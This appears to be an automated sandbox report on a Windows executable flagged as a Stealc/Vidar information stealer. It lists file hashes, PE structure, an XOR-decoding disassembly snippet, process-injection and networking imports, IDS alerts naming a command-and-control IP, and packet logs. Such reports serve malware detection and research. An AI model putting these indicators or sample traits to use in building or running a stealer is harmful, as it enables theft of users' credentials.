SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir744_489800492\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_489800492\a0185236-d9d3-4473-bee1-56ced20f41e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3340)
Category:	downloaded
Size (bytes):	3345
Entropy (8bit):	5.857218533629421
Encrypted:	false
SSDEEP:	96:/qqliPayE9JFd66666r35igyRRqx391BpDED49pHAIrLF5fffo:HaE9JFd66666r35i3XqXZ39pBw
MD5:	ABC9EF89427E8D37A3321B102D713F65
SHA1:	F69EBAAF9A0DE014FF8E7D567BCBDBDB2325DE2F
SHA-256:	949D64AAF78C61F18B09A173C4E4806D708399DD1EE8FD4D0A804CD047666971
SHA-512:	5A06B7FF9CE47B76B4405FA28847E5C7E5189142F3049A3F8963CE6DAEA82024E309C4AEEE5150529A3062B4B2FE26AA19C1D0203CD4AC9468B9F6B74C93E6C8
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["honey packets meaning","phoenix suns","landman paramount plus","roblox blue lock rivals codes","cash app settlement details","oahu north shore waves","boston red sox juan soto","palworld update ps5"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CggvbS8wam1sNRIPQmFza2V0YmFsbCB0ZWFtMnRodHRwczovL2VuY3J5cHRlZC10Ym4wLmdzdGF0aWMuY29tL2ltYWdlcz9xPXRibjpBTmQ5R2NRc1FpTUNQSXpKNmZLN0hLdmNaQ2RIZzdxMV9PMzlqZ1hyWUVQZDBSVENTdkk1bjh5c2QwWFJRQTQmcz0xMDoMUGhvZW5peCBTdW5zSgcjYTM1MDE1UjVnc19zc3A9ZUp6ajR0RFAxVGZJeXMweE5XRDA0aW5JeUVfTnk2eFFLQzdOS3dZQVd4b0g4UXAH","zl":10002},{"google:entityinfo":"Cg0vZy8xMXQxOGIxeHp5EhhMYW5kbWFuIOKAlCBEcmFtYSBzZXJpZXMy6wtkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132995
Entropy (8bit):	5.435446872396721
Encrypted:	false
SSDEEP:	3072:fpkX3ioI5wrfFiC8jMbk/5xnRBpvsMTwR2i6o:fi3dDFqr/5xnRBpvrwR8o
MD5:	41908C2A3C7DE947C976A17E24AC804D
SHA1:	D9F1D313BF68C6AB7B078B41E113C2BE35A4ADF4
SHA-256:	3B05F47F8A14D18F758E1FB81B522F03067868933EFAF056A195E6E3A8E7C225
SHA-512:	7E3119F465C1DDCC66ED150F7342AF875C3D93C50D8753007CA02C61FC19B74E5B9EBC04F6C86F08006E302CC8985587CC4F3C32C696C0D456F23A8906846D97
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.232331968720915
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mtbkkesfthae.exe
File size:	419'328 bytes
MD5:	774a8755eccb3ebd8463204e8cd60941
SHA1:	d8ecf01619f49c805ce41a2317c1a4ca99cfb270
SHA256:	88200c0685cdb81d2aa94923ffcca110416d4dd9599e00c44635f13c630aa254
SHA512:	d7a6f5e8259a48e7ca331233289c37f8d9769f31b6e6878f52c1b18d0eceaa4c5dd899562a0abeda29640fa88b76bc7b70a57d3d1752d80b979f617e600f1b0e
SSDEEP:	6144:zhk7s+AfJjoF3U5w81tLffIru6t1tztD675DoRK3L9YhZmdC/0fNFZH97ndaW9:P+UJjoF3U5w8rk8LeYPR97nQW
TLSH:	8C947B5236A2CDF8D29084BF048E9BBC1F5A89D6BFC0A2D37594D89E5D792C7443234E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&EDg.................R........................@...........................&..............................................?.....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x43c8e6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67444526 [Mon Nov 25 09:36:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	81961373b32efd4098659dcd8637f4f9

Entrypoint Preview

Instruction
je 00007F8BA48BE8F5h
jne 00007F8BA48BE8F3h
mov eax, FD32CBE8h
push dword ptr [ebx+eax+75h]
add dword ptr [eax+002463E8h], edi
add byte ptr [ebx+eax+75h], dh
add dword ptr [eax-03B63818h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-03B28E18h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-03B2B618h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-03B01518h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-03B23718h], edi
push dword ptr [ebx+eax+75h]
add dword ptr [eax-00573218h], edi
push dword ptr [ecx]
rol dl, 00000010h
add ah, cl
int3
int3
int3
int3
cmp byte ptr [00662639h], 00000000h
jne 00007F8BA48BE999h
mov ecx, dword ptr [esp+08h]
mov eax, dword ptr [esp+04h]
movzx edx, byte ptr [ecx]
xor dl, byte ptr [ecx+17h]
mov byte ptr [eax], dl
movzx edx, byte ptr [ecx+01h]
xor dl, byte ptr [ecx+18h]
mov byte ptr [eax+01h], dl
movzx edx, byte ptr [ecx+02h]
xor dl, byte ptr [ecx+19h]
mov byte ptr [eax+02h], dl
movzx edx, byte ptr [ecx+03h]
xor dl, byte ptr [ecx+1Ah]
mov byte ptr [eax+03h], dl
movzx edx, byte ptr [ecx+04h]
xor dl, byte ptr [ecx+1Bh]
mov byte ptr [eax+04h], dl
movzx edx, byte ptr [ecx+05h]
xor dl, byte ptr [ecx+1Ch]
mov byte ptr [eax+05h], dl
movzx edx, byte ptr [ecx+06h]
xor dl, byte ptr [ecx+1Dh]
mov byte ptr [eax+06h], dl
movzx edx, byte ptr [ecx+07h]
xor dl, byte ptr [ecx+1Eh]
mov byte ptr [eax+07h], dl
movzx edx, byte ptr [ecx+08h]
xor dl, byte ptr [ecx+1Fh]
mov byte ptr [eax+08h], dl

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53f80	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x264000	0x8f04	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x47048	0x5c	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x541cc	0x198	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x45180	0x45200	f9247c2536b2170f6abe72f01c787f20	False	0.3527103582730561	data	6.827864387265423	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x47000	0xda00	0xda00	b2f0fb9813a086a967e5726a516c64d0	False	0.953949254587156	data	7.899121678826501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x55000	0x20d71c	0xa400	db256a1da441fadf9047dd916aa3771a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x263000	0x4	0x200	aad0a28f62bfe943bb7b020a85d71ccc	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x264000	0x8f04	0x9000	6c66a364c5fc89a7b386015024a3a9ac	False	0.5325520833333334	data	6.688903422470168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateDirectoryA, CreateFileA, CreateProcessA, CreateThread, ExitProcess, FileTimeToSystemTime, FindClose, FindFirstFileA, FindNextFileA, GetComputerNameA, GetCurrentProcess, GetDriveTypeA, GetFileInformationByHandle, GetFileSize, GetLocalTime, GetLogicalDriveStringsA, GetLogicalProcessorInformationEx, GetModuleHandleA, GetProcessHeap, GetThreadContext, GetTickCount, HeapAlloc, HeapFree, OpenProcess, RaiseException, ReadFile, ReadProcessMemory, SetFilePointer, SetThreadContext, Sleep, SystemTimeToFileTime, VirtualAlloc, VirtualAllocEx, VirtualAllocExNuma, VirtualFree, VirtualQueryEx, WaitForSingleObject, WriteFile, WriteProcessMemory, lstrcatA, lstrcmpiW, lstrcpyA, lstrlenA
msvcrt.dll	??2@YAPAXI@Z, ??3@YAXPAX@Z, ??_U@YAPAXI@Z, ??_V@YAXPAX@Z, _splitpath, atexit, free, isupper, malloc, memchr, memcmp, memcpy, memmove, memset, rand, srand, strchr, strcmp, strcpy, strcpy_s, strlen, strncpy, strstr, strtok_s
USER32.dll	CharToOemA, CloseDesktop, CreateDesktopA, GetDesktopWindow, OpenDesktopA, wsprintfA, wsprintfW
ADVAPI32.dll	GetCurrentHwProfileA, GetUserNameA, RegGetValueA, RegOpenKeyExA
api-ms-win-crt-runtime-l1-1-0.dll	_invalid_parameter_noinfo_noreturn
SHELL32.dll	SHFileOperationA, SHGetFolderPathA
WS2_32.dll	WSACleanup, WSAStartup, closesocket, connect, freeaddrinfo, getaddrinfo, htons, recv, send, socket
SHLWAPI.dll	PathFileExistsA

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T01:34:07.620148+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.7	49702	94.130.210.71	443	TCP
2024-12-02T01:34:09.905816+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	94.130.210.71	443	192.168.2.7	49703	TCP
2024-12-02T01:34:12.230012+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	94.130.210.71	443	192.168.2.7	49704	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 01:33:53.795505047 CET	49675	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:33:53.795511961 CET	49674	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:33:53.920516014 CET	49672	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:33:57.882915020 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:57.882960081 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:57.883186102 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:57.895405054 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:57.895420074 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.360234022 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.360302925 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.435924053 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.435942888 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.436274052 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.436331034 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.439398050 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.487330914 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.929980040 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.930003881 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.930042028 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.930064917 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:33:59.930223942 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.930224895 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.935734987 CET	49699	443	192.168.2.7	149.154.167.99
Dec 2, 2024 01:33:59.935755014 CET	443	49699	149.154.167.99	192.168.2.7
Dec 2, 2024 01:34:00.346009016 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:00.346051931 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:00.346307039 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:00.346534014 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:00.346549034 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.030149937 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:02.212774038 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.212899923 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.217227936 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.217237949 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.217468977 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.217535973 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.217828989 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.259340048 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.404786110 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:02.900072098 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.900149107 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.900162935 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.900207043 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.903414011 CET	49700	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.903439045 CET	443	49700	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.910996914 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.911041975 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:02.911123991 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.911416054 CET	49701	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:02.911426067 CET	443	49701	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:03.154880047 CET	49677	443	192.168.2.7	20.50.201.200
Dec 2, 2024 01:34:03.404778957 CET	49674	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:03.404788017 CET	49675	443	192.168.2.7	104.98.116.138
Dec 2, 2024 01:34:03.529792070 CET	49672	443	192.168.2.7	104.98.116.138
